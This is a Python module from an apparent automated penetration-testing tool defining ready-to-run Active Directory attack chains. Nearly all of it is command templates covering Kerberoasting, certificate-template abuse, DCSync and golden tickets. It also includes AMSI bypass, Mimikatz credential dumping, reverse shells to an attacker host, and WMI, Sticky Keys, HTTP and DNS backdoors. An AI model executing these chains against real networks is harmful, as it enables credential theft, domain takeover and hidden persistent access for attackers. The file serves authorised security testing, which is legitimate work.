"""
AIPTX Active Directory Attack Chain Templates

Pre-built attack chains for common AD penetration testing scenarios.
These chains can be executed automatically or used as guides for manual testing.
"""
from __future__ import annotations

from dataclasses import dataclass, field
from enum import Enum
from typing import Optional


class ADChainCategory(Enum):
    """Categories of AD attack chains"""
    INITIAL_ACCESS = "initial_access"
    CREDENTIAL_ACCESS = "credential_access"
    PRIVILEGE_ESCALATION = "privilege_escalation"
    LATERAL_MOVEMENT = "lateral_movement"
    DOMAIN_DOMINANCE = "domain_dominance"
    PERSISTENCE = "persistence"


class ADChainDifficulty(Enum):
    """Chain difficulty/complexity levels"""
    LOW = "low"  # Single step, common misconfiguration
    MEDIUM = "medium"  # 2-3 steps, requires some access
    HIGH = "high"  # Multi-step, requires specific conditions
    ADVANCED = "advanced"  # Complex chain, multiple prerequisites


@dataclass
class ADChainStep:
    """Individual step in an attack chain"""
    name: str
    description: str
    technique: str  # MITRE ATT&CK technique ID
    tool: str  # Primary tool for this step
    fallback_tools: list[str] = field(default_factory=list)

    # Requirements
    requires_credentials: bool = False
    requires_admin: bool = False
    requires_domain_admin: bool = False

    # Outputs
    produces: list[str] = field(default_factory=list)  # What this step produces
    required_inputs: list[str] = field(default_factory=list)  # What this step needs

    # Commands
    command_template: str = ""
    success_indicators: list[str] = field(default_factory=list)

    def to_dict(self) -> dict:
        return {
            "name": self.name,
            "description": self.description,
            "technique": self.technique,
            "tool": self.tool,
            "requires_credentials": self.requires_credentials,
            "requires_admin": self.requires_admin,
            "produces": self.produces,
            "required_inputs": self.required_inputs,
        }


@dataclass
class ADAttackChain:
    """Complete AD attack chain template"""
    name: str
    description: str
    category: ADChainCategory
    difficulty: ADChainDifficulty

    # Chain steps
    steps: list[ADChainStep] = field(default_factory=list)

    # Prerequisites
    prerequisites: list[str] = field(default_factory=list)
    entry_points: list[str] = field(default_factory=list)  # What access is needed

    # Outcomes
    objectives: list[str] = field(default_factory=list)
    impact: str = ""

    # Risk
    detection_risk: str = "medium"  # low, medium, high
    stealth_rating: int = 5  # 1-10

    # Metadata
    mitre_tactics: list[str] = field(default_factory=list)
    references: list[str] = field(default_factory=list)

    def to_dict(self) -> dict:
        return {
            "name": self.name,
            "description": self.description,
            "category": self.category.value,
            "difficulty": self.difficulty.value,
            "steps": [s.to_dict() for s in self.steps],
            "prerequisites": self.prerequisites,
            "objectives": self.objectives,
            "detection_risk": self.detection_risk,
            "stealth_rating": self.stealth_rating,
        }


# =============================================================================
# Pre-built Attack Chains
# =============================================================================

# -----------------------------------------------------------------------------
# Kerberoasting Chain
# -----------------------------------------------------------------------------
KERBEROAST_CHAIN = ADAttackChain(
    name="kerberoast_to_credential",
    description="Extract service account credentials via Kerberoasting",
    category=ADChainCategory.CREDENTIAL_ACCESS,
    difficulty=ADChainDifficulty.LOW,
    prerequisites=["Domain user credentials"],
    entry_points=["Any domain user"],
    objectives=["Extract service account passwords"],
    impact="Credential access to service accounts",
    detection_risk="low",
    stealth_rating=8,
    mitre_tactics=["TA0006"],  # Credential Access
    steps=[
        ADChainStep(
            name="enumerate_spns",
            description="Find user accounts with SPNs set",
            technique="T1558.003",
            tool="ldapsearch",
            fallback_tools=["GetUserSPNs.py", "PowerView"],
            requires_credentials=True,
            produces=["spn_list", "kerberoastable_users"],
            command_template='ldapsearch -H ldap://{dc_ip} -D "{username}@{domain}" -w "{password}" -b "{base_dn}" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName',
            success_indicators=["servicePrincipalName"],
        ),
        ADChainStep(
            name="request_tgs_tickets",
            description="Request TGS tickets for Kerberoastable accounts",
            technique="T1558.003",
            tool="GetUserSPNs.py",
            fallback_tools=["Rubeus", "Invoke-Kerberoast"],
            requires_credentials=True,
            required_inputs=["spn_list"],
            produces=["tgs_hashes"],
            command_template='GetUserSPNs.py {domain}/{username}:{password} -dc-ip {dc_ip} -request -outputfile kerberoast.txt',
            success_indicators=["$krb5tgs$"],
        ),
        ADChainStep(
            name="crack_hashes",
            description="Crack TGS hashes offline",
            technique="T1110.002",
            tool="hashcat",
            fallback_tools=["john"],
            required_inputs=["tgs_hashes"],
            produces=["cleartext_passwords"],
            command_template="hashcat -m 13100 kerberoast.txt wordlist.txt -r rules/best64.rule",
            success_indicators=["Cracked"],
        ),
        ADChainStep(
            name="validate_credentials",
            description="Validate cracked credentials",
            technique="T1078",
            tool="crackmapexec",
            fallback_tools=["smbclient"],
            required_inputs=["cleartext_passwords"],
            produces=["valid_credentials"],
            command_template="crackmapexec smb {dc_ip} -u {cracked_user} -p {cracked_pass}",
            success_indicators=["[+]"],
        ),
    ],
)

# -----------------------------------------------------------------------------
# AS-REP Roasting Chain
# -----------------------------------------------------------------------------
ASREPROAST_CHAIN = ADAttackChain(
    name="asreproast_to_credential",
    description="Extract credentials from accounts without pre-auth required",
    category=ADChainCategory.CREDENTIAL_ACCESS,
    difficulty=ADChainDifficulty.LOW,
    prerequisites=["Domain user credentials or list of usernames"],
    entry_points=["Any domain user"],
    objectives=["Extract credentials from vulnerable accounts"],
    impact="Credential access",
    detection_risk="low",
    stealth_rating=8,
    mitre_tactics=["TA0006"],
    steps=[
        ADChainStep(
            name="find_asrep_users",
            description="Find accounts with DONT_REQ_PREAUTH flag",
            technique="T1558.004",
            tool="GetNPUsers.py",
            fallback_tools=["Rubeus", "ldapsearch"],
            produces=["asrep_users", "asrep_hashes"],
            command_template='GetNPUsers.py {domain}/ -dc-ip {dc_ip} -usersfile users.txt -format hashcat -outputfile asrep.txt',
            success_indicators=["$krb5asrep$"],
        ),
        ADChainStep(
            name="crack_asrep_hashes",
            description="Crack AS-REP hashes offline",
            technique="T1110.002",
            tool="hashcat",
            fallback_tools=["john"],
            required_inputs=["asrep_hashes"],
            produces=["cleartext_passwords"],
            command_template="hashcat -m 18200 asrep.txt wordlist.txt",
            success_indicators=["Cracked"],
        ),
    ],
)

# -----------------------------------------------------------------------------
# RBCD Attack Chain
# -----------------------------------------------------------------------------
RBCD_CHAIN = ADAttackChain(
    name="rbcd_privesc",
    description="Abuse Resource-Based Constrained Delegation for privilege escalation",
    category=ADChainCategory.PRIVILEGE_ESCALATION,
    difficulty=ADChainDifficulty.MEDIUM,
    prerequisites=[
        "Write access to a computer's msDS-AllowedToActOnBehalfOfOtherIdentity",
        "OR GenericAll/GenericWrite on a computer",
        "Domain user credentials"
    ],
    entry_points=["User with write access to computer object"],
    objectives=["Local admin on target computer"],
    impact="Lateral movement capability",
    detection_risk="medium",
    stealth_rating=6,
    mitre_tactics=["TA0004", "TA0008"],  # Privilege Escalation, Lateral Movement
    steps=[
        ADChainStep(
            name="find_writable_computers",
            description="Find computers where we have write access",
            technique="T1069.002",
            tool="BloodHound",
            fallback_tools=["PowerView", "ldapsearch"],
            requires_credentials=True,
            produces=["writable_computers"],
            command_template="bloodhound-python -d {domain} -u {username} -p {password} -dc {dc_ip} -c ACL",
        ),
        ADChainStep(
            name="create_machine_account",
            description="Create a machine account for RBCD",
            technique="T1136.002",
            tool="addcomputer.py",
            fallback_tools=["PowerMad"],
            requires_credentials=True,
            produces=["machine_account", "machine_password"],
            command_template='addcomputer.py {domain}/{username}:{password} -computer-name YOURPC -computer-pass Password123 -dc-ip {dc_ip}',
            success_indicators=["Successfully added"],
        ),
        ADChainStep(
            name="configure_rbcd",
            description="Configure RBCD on target computer",
            technique="T1134.001",
            tool="rbcd.py",
            fallback_tools=["Set-ADComputer"],
            requires_credentials=True,
            required_inputs=["writable_computers", "machine_account"],
            produces=["rbcd_configured"],
            command_template='rbcd.py {domain}/{username}:{password} -delegate-to {target_computer} -delegate-from {machine_account} -action write -dc-ip {dc_ip}',
            success_indicators=["modified"],
        ),
        ADChainStep(
            name="s4u_attack",
            description="Request service ticket via S4U",
            technique="T1558.003",
            tool="getST.py",
            fallback_tools=["Rubeus"],
            required_inputs=["rbcd_configured", "machine_account", "machine_password"],
            produces=["service_ticket"],
            command_template='getST.py {domain}/{machine_account}:{machine_password} -spn cifs/{target_computer} -impersonate Administrator -dc-ip {dc_ip}',
            success_indicators=["Saving ticket"],
        ),
        ADChainStep(
            name="access_target",
            description="Access target with service ticket",
            technique="T1550.003",
            tool="secretsdump.py",
            fallback_tools=["psexec.py"],
            required_inputs=["service_ticket"],
            produces=["admin_access", "credentials"],
            command_template='export KRB5CCNAME=Administrator.ccache && secretsdump.py -k -no-pass {target_computer}',
        ),
    ],
)

# -----------------------------------------------------------------------------
# ADCS ESC1 Chain
# -----------------------------------------------------------------------------
ADCS_ESC1_CHAIN = ADAttackChain(
    name="adcs_esc1_to_domain_admin",
    description="Abuse ESC1 vulnerable certificate template for domain admin",
    category=ADChainCategory.PRIVILEGE_ESCALATION,
    difficulty=ADChainDifficulty.MEDIUM,
    prerequisites=[
        "ESC1 vulnerable template exists",
        "Domain user with enrollment rights"
    ],
    entry_points=["Any domain user"],
    objectives=["Domain Admin credentials"],
    impact="Full domain compromise",
    detection_risk="low",
    stealth_rating=7,
    mitre_tactics=["TA0004", "TA0006"],
    steps=[
        ADChainStep(
            name="find_vulnerable_templates",
            description="Find ESC1 vulnerable certificate templates",
            technique="T1649",
            tool="certipy",
            fallback_tools=["Certify.exe"],
            requires_credentials=True,
            produces=["vulnerable_templates", "ca_name"],
            command_template='certipy find -u {username}@{domain} -p {password} -dc-ip {dc_ip} -vulnerable',
            success_indicators=["ESC1"],
        ),
        ADChainStep(
            name="request_certificate",
            description="Request certificate with admin SAN",
            technique="T1649",
            tool="certipy",
            fallback_tools=["Certify.exe"],
            requires_credentials=True,
            required_inputs=["vulnerable_templates", "ca_name"],
            produces=["pfx_certificate"],
            command_template='certipy req -u {username}@{domain} -p {password} -ca {ca_name} -template {template} -upn Administrator@{domain} -dc-ip {dc_ip}',
            success_indicators=["Saved certificate"],
        ),
        ADChainStep(
            name="authenticate_with_cert",
            description="Authenticate as admin with certificate",
            technique="T1078",
            tool="certipy",
            fallback_tools=["Rubeus"],
            required_inputs=["pfx_certificate"],
            produces=["admin_tgt", "admin_ntlm_hash"],
            command_template='certipy auth -pfx administrator.pfx -dc-ip {dc_ip}',
            success_indicators=["Got TGT", "NT Hash"],
        ),
        ADChainStep(
            name="dcsync",
            description="DCSync to extract all credentials",
            technique="T1003.006",
            tool="secretsdump.py",
            fallback_tools=["mimikatz"],
            required_inputs=["admin_ntlm_hash"],
            produces=["all_credentials", "krbtgt_hash"],
            command_template='secretsdump.py -hashes :{nt_hash} {domain}/Administrator@{dc_ip} -just-dc',
            success_indicators=["krbtgt"],
        ),
    ],
)

# -----------------------------------------------------------------------------
# Unconstrained Delegation + DC Coercion Chain
# -----------------------------------------------------------------------------
UNCONSTRAINED_DELEGATION_CHAIN = ADAttackChain(
    name="unconstrained_delegation_dc_takeover",
    description="Abuse unconstrained delegation to capture DC TGT",
    category=ADChainCategory.DOMAIN_DOMINANCE,
    difficulty=ADChainDifficulty.HIGH,
    prerequisites=[
        "Admin access to server with unconstrained delegation",
        "Ability to coerce DC authentication"
    ],
    entry_points=["Admin on unconstrained delegation server"],
    objectives=["DC TGT capture", "Domain compromise"],
    impact="Full domain compromise",
    detection_risk="medium",
    stealth_rating=5,
    mitre_tactics=["TA0004", "TA0006", "TA0008"],
    steps=[
        ADChainStep(
            name="find_unconstrained",
            description="Find servers with unconstrained delegation",
            technique="T1558",
            tool="ldapsearch",
            fallback_tools=["BloodHound", "PowerView"],
            requires_credentials=True,
            produces=["unconstrained_servers"],
            command_template='ldapsearch -H ldap://{dc_ip} "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"',
        ),
        ADChainStep(
            name="compromise_server",
            description="Gain admin access to unconstrained delegation server",
            technique="T1078",
            tool="psexec.py",
            requires_credentials=True,
            requires_admin=True,
            required_inputs=["unconstrained_servers"],
            produces=["server_access"],
        ),
        ADChainStep(
            name="setup_monitor",
            description="Monitor for incoming TGTs",
            technique="T1558",
            tool="Rubeus",
            fallback_tools=["mimikatz"],
            requires_admin=True,
            required_inputs=["server_access"],
            produces=["tgt_monitor"],
            command_template="Rubeus.exe monitor /interval:5 /nowrap",
        ),
        ADChainStep(
            name="coerce_dc_auth",
            description="Coerce DC to authenticate to our server",
            technique="T1187",
            tool="PetitPotam.py",
            fallback_tools=["printerbug.py", "dfscoerce.py"],
            requires_credentials=True,
            produces=["dc_tgt"],
            command_template='PetitPotam.py {unconstrained_server} {dc_ip}',
            success_indicators=["Attack worked"],
        ),
        ADChainStep(
            name="use_dc_tgt",
            description="Use captured DC TGT for DCSync",
            technique="T1003.006",
            tool="secretsdump.py",
            fallback_tools=["mimikatz"],
            required_inputs=["dc_tgt"],
            produces=["all_credentials"],
            command_template='export KRB5CCNAME=dc.ccache && secretsdump.py -k -no-pass {dc_hostname}',
        ),
    ],
)

# -----------------------------------------------------------------------------
# Password Spray to Domain Admin Chain
# -----------------------------------------------------------------------------
PASSWORD_SPRAY_CHAIN = ADAttackChain(
    name="password_spray_to_da",
    description="Systematic password spraying to achieve domain admin",
    category=ADChainCategory.INITIAL_ACCESS,
    difficulty=ADChainDifficulty.MEDIUM,
    prerequisites=["List of domain users", "Knowledge of password policy"],
    entry_points=["Network access to DC"],
    objectives=["Valid domain credentials", "Potential admin access"],
    impact="Initial foothold, potential privilege escalation",
    detection_risk="medium",
    stealth_rating=6,
    mitre_tactics=["TA0001", "TA0006"],
    steps=[
        ADChainStep(
            name="enumerate_users",
            description="Enumerate domain users",
            technique="T1087.002",
            tool="kerbrute",
            fallback_tools=["enum4linux-ng", "ldapsearch"],
            produces=["user_list"],
            command_template='kerbrute userenum --dc {dc_ip} -d {domain} users.txt',
        ),
        ADChainStep(
            name="get_password_policy",
            description="Retrieve password policy to avoid lockouts",
            technique="T1201",
            tool="crackmapexec",
            fallback_tools=["ldapsearch", "rpcclient"],
            produces=["password_policy", "lockout_threshold"],
            command_template='crackmapexec smb {dc_ip} --pass-pol',
        ),
        ADChainStep(
            name="spray_passwords",
            description="Spray common passwords respecting lockout",
            technique="T1110.003",
            tool="crackmapexec",
            fallback_tools=["kerbrute", "Spray.py"],
            required_inputs=["user_list", "password_policy"],
            produces=["valid_credentials"],
            command_template='crackmapexec smb {dc_ip} -u users.txt -p "Summer2024!" --continue-on-success',
            success_indicators=["[+]"],
        ),
        ADChainStep(
            name="check_admin_access",
            description="Check which hosts we have admin on",
            technique="T1078",
            tool="crackmapexec",
            required_inputs=["valid_credentials"],
            produces=["admin_hosts"],
            command_template='crackmapexec smb {targets} -u {username} -p {password} --local-auth',
        ),
        ADChainStep(
            name="dump_credentials",
            description="Dump credentials from hosts with admin access",
            technique="T1003",
            tool="lsassy",
            fallback_tools=["secretsdump.py"],
            requires_admin=True,
            required_inputs=["admin_hosts"],
            produces=["additional_credentials"],
            command_template='lsassy -u {username} -p {password} -d {domain} {admin_host}',
        ),
    ],
)

# -----------------------------------------------------------------------------
# Shadow Credentials Chain
# -----------------------------------------------------------------------------
SHADOW_CREDENTIALS_CHAIN = ADAttackChain(
    name="shadow_credentials_takeover",
    description="Abuse msDS-KeyCredentialLink for account takeover",
    category=ADChainCategory.PRIVILEGE_ESCALATION,
    difficulty=ADChainDifficulty.MEDIUM,
    prerequisites=[
        "Write access to target's msDS-KeyCredentialLink attribute",
        "ADCS with certificate enrollment"
    ],
    entry_points=["User with write access to target object"],
    objectives=["Takeover target account"],
    impact="Account compromise",
    detection_risk="low",
    stealth_rating=7,
    mitre_tactics=["TA0004", "TA0006"],
    steps=[
        ADChainStep(
            name="find_shadow_targets",
            description="Find objects where we can write KeyCredentialLink",
            technique="T1069.002",
            tool="BloodHound",
            fallback_tools=["ldapsearch"],
            requires_credentials=True,
            produces=["shadow_targets"],
        ),
        ADChainStep(
            name="add_shadow_credential",
            description="Add key credential to target",
            technique="T1556",
            tool="certipy",
            fallback_tools=["Whisker.exe"],
            requires_credentials=True,
            required_inputs=["shadow_targets"],
            produces=["shadow_certificate", "device_id"],
            command_template='certipy shadow auto -u {username}@{domain} -p {password} -account {target_user} -dc-ip {dc_ip}',
            success_indicators=["Saved certificate"],
        ),
        ADChainStep(
            name="authenticate_shadow",
            description="Authenticate using shadow credential certificate",
            technique="T1078",
            tool="certipy",
            required_inputs=["shadow_certificate"],
            produces=["target_tgt", "target_ntlm"],
            command_template='certipy auth -pfx {target_user}.pfx -dc-ip {dc_ip}',
            success_indicators=["Got TGT", "NT Hash"],
        ),
    ],
)

# -----------------------------------------------------------------------------
# Golden Ticket Persistence Chain
# -----------------------------------------------------------------------------
GOLDEN_TICKET_CHAIN = ADAttackChain(
    name="golden_ticket_persistence",
    description="Create Golden Ticket for persistent domain access",
    category=ADChainCategory.PERSISTENCE,
    difficulty=ADChainDifficulty.LOW,  # Low once you have krbtgt hash
    prerequisites=["krbtgt NTLM hash", "Domain SID"],
    entry_points=["Domain Admin access"],
    objectives=["Persistent domain access"],
    impact="Long-term domain compromise",
    detection_risk="low",
    stealth_rating=9,
    mitre_tactics=["TA0003", "TA0006"],
    steps=[
        ADChainStep(
            name="get_krbtgt_hash",
            description="Extract krbtgt hash via DCSync",
            technique="T1003.006",
            tool="secretsdump.py",
            requires_domain_admin=True,
            produces=["krbtgt_hash", "domain_sid"],
            command_template='secretsdump.py {domain}/Administrator@{dc_ip} -just-dc-user krbtgt',
        ),
        ADChainStep(
            name="forge_golden_ticket",
            description="Create Golden Ticket",
            technique="T1558.001",
            tool="ticketer.py",
            fallback_tools=["mimikatz", "Rubeus"],
            required_inputs=["krbtgt_hash", "domain_sid"],
            produces=["golden_ticket"],
            command_template='ticketer.py -nthash {krbtgt_nt} -domain-sid {domain_sid} -domain {domain} Administrator',
            success_indicators=["Saving ticket"],
        ),
        ADChainStep(
            name="use_golden_ticket",
            description="Use Golden Ticket for access",
            technique="T1550.003",
            tool="psexec.py",
            required_inputs=["golden_ticket"],
            produces=["persistent_access"],
            command_template='export KRB5CCNAME=Administrator.ccache && psexec.py -k -no-pass {dc_hostname}',
        ),
    ],
)


# =============================================================================
# PowerShell Arsenal Chains
# =============================================================================

# -----------------------------------------------------------------------------
# PS Arsenal In-Memory Credential Gathering Chain
# -----------------------------------------------------------------------------
PS_CREDENTIAL_GATHERING_CHAIN = ADAttackChain(
    name="ps_credential_gathering",
    description="In-memory credential extraction using PowerShell Arsenal tools",
    category=ADChainCategory.CREDENTIAL_ACCESS,
    difficulty=ADChainDifficulty.MEDIUM,
    prerequisites=["Local administrator access on Windows target"],
    entry_points=["Admin on Windows workstation/server"],
    objectives=["Extract credentials from memory", "Harvest stored passwords"],
    impact="Credential access for lateral movement",
    detection_risk="medium",
    stealth_rating=6,
    mitre_tactics=["TA0006"],  # Credential Access
    steps=[
        ADChainStep(
            name="bypass_amsi",
            description="Bypass AMSI for PowerShell script execution",
            technique="T1562.001",
            tool="ps-arsenal-creds",
            requires_admin=True,
            produces=["amsi_bypassed"],
            command_template="Invoke-AmsiBypass",
            success_indicators=["AMSI bypass successful"],
        ),
        ADChainStep(
            name="dump_lsass_mimikatz",
            description="Extract credentials from LSASS using Invoke-Mimikatz",
            technique="T1003.001",
            tool="ps-arsenal-creds",
            fallback_tools=["secretsdump.py"],
            requires_admin=True,
            required_inputs=["amsi_bypassed"],
            produces=["ntlm_hashes", "plaintext_passwords", "kerberos_tickets"],
            command_template="Invoke-Mimikatz -DumpCreds",
            success_indicators=["Username", "NTLM", "Password"],
        ),
        ADChainStep(
            name="dump_sam_hashes",
            description="Extract password hashes from SAM database",
            technique="T1003.002",
            tool="ps-arsenal-creds",
            fallback_tools=["secretsdump.py"],
            requires_admin=True,
            produces=["sam_hashes"],
            command_template="Get-PassHashes",
            success_indicators=["Administrator", ":::"],
        ),
        ADChainStep(
            name="extract_wlan_keys",
            description="Extract stored WiFi passwords",
            technique="T1552.001",
            tool="ps-arsenal-creds",
            produces=["wlan_passwords"],
            command_template="Get-WLAN-Keys",
            success_indicators=["Key Content"],
        ),
        ADChainStep(
            name="harvest_browser_creds",
            description="Extract credentials from browser vaults",
            technique="T1555.003",
            tool="ps-arsenal-creds",
            produces=["browser_credentials"],
            command_template="Get-WebCredentials",
            success_indicators=["Resource", "UserName"],
        ),
        ADChainStep(
            name="session_gopher",
            description="Extract saved session credentials (PuTTY, RDP, WinSCP)",
            technique="T1552.001",
            tool="ps-arsenal-creds",
            produces=["session_credentials"],
            command_template="Invoke-SessionGopher -Thorough",
            success_indicators=["Session", "Credentials"],
        ),
    ],
)

# -----------------------------------------------------------------------------
# PS Arsenal Lateral Movement Chain
# -----------------------------------------------------------------------------
PS_LATERAL_MOVEMENT_CHAIN = ADAttackChain(
    name="ps_lateral_movement",
    description="Lateral movement using PowerShell Arsenal shells",
    category=ADChainCategory.LATERAL_MOVEMENT,
    difficulty=ADChainDifficulty.MEDIUM,
    prerequisites=["Valid domain credentials", "Network access to targets"],
    entry_points=["Compromised domain user"],
    objectives=["Move laterally to other hosts", "Establish remote shells"],
    impact="Expanded access across domain",
    detection_risk="medium",
    stealth_rating=5,
    mitre_tactics=["TA0008"],  # Lateral Movement
    steps=[
        ADChainStep(
            name="recon_system_info",
            description="Gather target system information",
            technique="T1082",
            tool="ps-arsenal-recon",
            produces=["system_info", "installed_software", "running_processes"],
            command_template="Get-Information",
        ),
        ADChainStep(
            name="check_virtualization",
            description="Detect if target is virtualized",
            technique="T1497.001",
            tool="ps-arsenal-recon",
            produces=["vm_detection_result"],
            command_template="Check-VM",
        ),
        ADChainStep(
            name="deploy_tcp_shell",
            description="Deploy TCP reverse shell to target",
            technique="T1059.001",
            tool="ps-arsenal-shell",
            requires_credentials=True,
            required_inputs=["system_info"],
            produces=["reverse_shell"],
            command_template="Invoke-PowerShellTcp -IPAddress {lhost} -Port {lport} -Reverse",
            success_indicators=["connected", "PS >"],
        ),
        ADChainStep(
            name="deploy_http_shell",
            description="Deploy HTTP-based shell (alt: bypasses port restrictions)",
            technique="T1071.001",
            tool="ps-arsenal-shell",
            fallback_tools=["Invoke-PowerShellTcp"],
            produces=["http_shell"],
            command_template="Invoke-PoshRatHttp -IPAddress {lhost} -Port {lport}",
        ),
        ADChainStep(
            name="pivot_to_additional_hosts",
            description="Create sessions on multiple remote hosts",
            technique="T1021.006",
            tool="ps-arsenal-shell",
            requires_credentials=True,
            required_inputs=["reverse_shell"],
            produces=["multiple_sessions"],
            command_template="Create-MultipleSessions -filename targets.txt -CreateSessions",
        ),
    ],
)

# -----------------------------------------------------------------------------
# PS Arsenal Persistence Chain
# -----------------------------------------------------------------------------
PS_PERSISTENCE_CHAIN = ADAttackChain(
    name="ps_persistence",
    description="Establish persistence using PowerShell Arsenal backdoors",
    category=ADChainCategory.PERSISTENCE,
    difficulty=ADChainDifficulty.MEDIUM,
    prerequisites=["Local administrator access"],
    entry_points=["Admin on compromised host"],
    objectives=["Maintain persistent access", "Survive reboots"],
    impact="Long-term access to compromised systems",
    detection_risk="high",
    stealth_rating=4,
    mitre_tactics=["TA0003"],  # Persistence
    steps=[
        ADChainStep(
            name="wmi_persistence",
            description="Add WMI-based persistence mechanism",
            technique="T1546.003",
            tool="ps-arsenal-persist",
            requires_admin=True,
            produces=["wmi_persistence"],
            command_template="Add-Persistence -PayloadURL {payload_url}",
            success_indicators=["Persistence added"],
        ),
        ADChainStep(
            name="registry_backdoor",
            description="Add registry-based backdoor (Sticky Keys)",
            technique="T1546.008",
            tool="ps-arsenal-persist",
            requires_admin=True,
            produces=["registry_backdoor"],
            command_template="Add-RegBackdoor",
            success_indicators=["Backdoor installed"],
        ),
        ADChainStep(
            name="screensaver_backdoor",
            description="Add screensaver-based persistence",
            technique="T1546",
            tool="ps-arsenal-persist",
            produces=["screensaver_persistence"],
            command_template="Add-ScrnSaveBackdoor -PayloadURL {payload_url}",
        ),
        ADChainStep(
            name="http_backdoor",
            description="Deploy HTTP polling backdoor",
            technique="T1071.001",
            tool="ps-arsenal-persist",
            produces=["http_backdoor"],
            command_template="HTTP-Backdoor -CheckURL {check_url} -PayloadURL {payload_url} -MagicString {magic} -StopString {stop}",
        ),
        ADChainStep(
            name="dns_backdoor",
            description="Deploy DNS TXT-based command channel",
            technique="T1071.004",
            tool="ps-arsenal-persist",
            produces=["dns_backdoor"],
            command_template="DNS_TXT_Pwnage -startdomain {domain}",
        ),
    ],
)

# -----------------------------------------------------------------------------
# PS Arsenal AD Takeover Chain (combines multiple techniques)
# -----------------------------------------------------------------------------
PS_AD_TAKEOVER_CHAIN = ADAttackChain(
    name="ps_ad_takeover",
    description="Complete AD takeover using PowerShell Arsenal tools",
    category=ADChainCategory.DOMAIN_DOMINANCE,
    difficulty=ADChainDifficulty.ADVANCED,
    prerequisites=[
        "Initial foothold on domain-joined machine",
        "Local admin on at least one host"
    ],
    entry_points=["Compromised workstation"],
    objectives=["Domain Admin credentials", "Full domain compromise"],
    impact="Complete Active Directory compromise",
    detection_risk="high",
    stealth_rating=3,
    mitre_tactics=["TA0004", "TA0006", "TA0008"],
    steps=[
        ADChainStep(
            name="initial_credential_dump",
            description="Extract credentials from initial host",
            technique="T1003.001",
            tool="ps-arsenal-creds",
            requires_admin=True,
            produces=["initial_credentials"],
            command_template="Invoke-Mimikatz -DumpCreds",
        ),
        ADChainStep(
            name="identify_privileged_users",
            description="Identify domain admins and high-value targets",
            technique="T1087.002",
            tool="ps-arsenal-recon",
            requires_credentials=True,
            required_inputs=["initial_credentials"],
            produces=["privileged_users", "target_hosts"],
            command_template="Get-Information",
        ),
        ADChainStep(
            name="lateral_to_server",
            description="Move laterally to server with cached DA credentials",
            technique="T1021.006",
            tool="ps-arsenal-shell",
            requires_credentials=True,
            required_inputs=["initial_credentials", "target_hosts"],
            produces=["server_access"],
            command_template="Invoke-PowerShellWmi -IPAddress {target} -Username {user}",
        ),
        ADChainStep(
            name="dump_server_credentials",
            description="Extract credentials from compromised server",
            technique="T1003.001",
            tool="ps-arsenal-creds",
            requires_admin=True,
            required_inputs=["server_access"],
            produces=["server_credentials", "da_credentials"],
            command_template="Invoke-Mimikatz -DumpCreds",
        ),
        ADChainStep(
            name="access_domain_controller",
            description="Use DA credentials to access DC",
            technique="T1078.002",
            tool="ps-arsenal-shell",
            requires_credentials=True,
            requires_domain_admin=True,
            required_inputs=["da_credentials"],
            produces=["dc_access"],
            command_template="Invoke-PowerShellWmi -IPAddress {dc_ip} -Username {da_user}",
        ),
        ADChainStep(
            name="dump_ntds",
            description="Extract all domain credentials via DCSync",
            technique="T1003.006",
            tool="ps-arsenal-creds",
            requires_domain_admin=True,
            required_inputs=["dc_access"],
            produces=["all_domain_credentials", "krbtgt_hash"],
            command_template="Invoke-Mimikatz -Command 'lsadump::dcsync /all'",
        ),
        ADChainStep(
            name="establish_persistence",
            description="Establish persistent domain access",
            technique="T1098",
            tool="ps-arsenal-persist",
            requires_domain_admin=True,
            required_inputs=["krbtgt_hash"],
            produces=["domain_persistence"],
            command_template="Add-ConstrainedDelegationBackdoor -SamAccountName backdoor$ -Password P@ssw0rd",
        ),
    ],
)


# =============================================================================
# Chain Registry
# =============================================================================

AD_ATTACK_CHAINS = {
    # Credential Access
    "kerberoast": KERBEROAST_CHAIN,
    "asreproast": ASREPROAST_CHAIN,

    # Privilege Escalation
    "rbcd": RBCD_CHAIN,
    "adcs_esc1": ADCS_ESC1_CHAIN,
    "shadow_credentials": SHADOW_CREDENTIALS_CHAIN,

    # Domain Dominance
    "unconstrained_delegation": UNCONSTRAINED_DELEGATION_CHAIN,

    # Initial Access
    "password_spray": PASSWORD_SPRAY_CHAIN,

    # Persistence
    "golden_ticket": GOLDEN_TICKET_CHAIN,

    # PowerShell Arsenal Chains
    "ps_credential_gathering": PS_CREDENTIAL_GATHERING_CHAIN,
    "ps_lateral_movement": PS_LATERAL_MOVEMENT_CHAIN,
    "ps_persistence": PS_PERSISTENCE_CHAIN,
    "ps_ad_takeover": PS_AD_TAKEOVER_CHAIN,
}


def get_ad_chain(name: str) -> Optional[ADAttackChain]:
    """Get attack chain by name"""
    return AD_ATTACK_CHAINS.get(name)


def get_chains_by_category(category: ADChainCategory) -> list[ADAttackChain]:
    """Get all chains in a category"""
    return [c for c in AD_ATTACK_CHAINS.values() if c.category == category]


def get_chains_by_difficulty(difficulty: ADChainDifficulty) -> list[ADAttackChain]:
    """Get chains by difficulty level"""
    return [c for c in AD_ATTACK_CHAINS.values() if c.difficulty == difficulty]


def list_all_chains() -> list[str]:
    """List all available chain names"""
    return list(AD_ATTACK_CHAINS.keys())
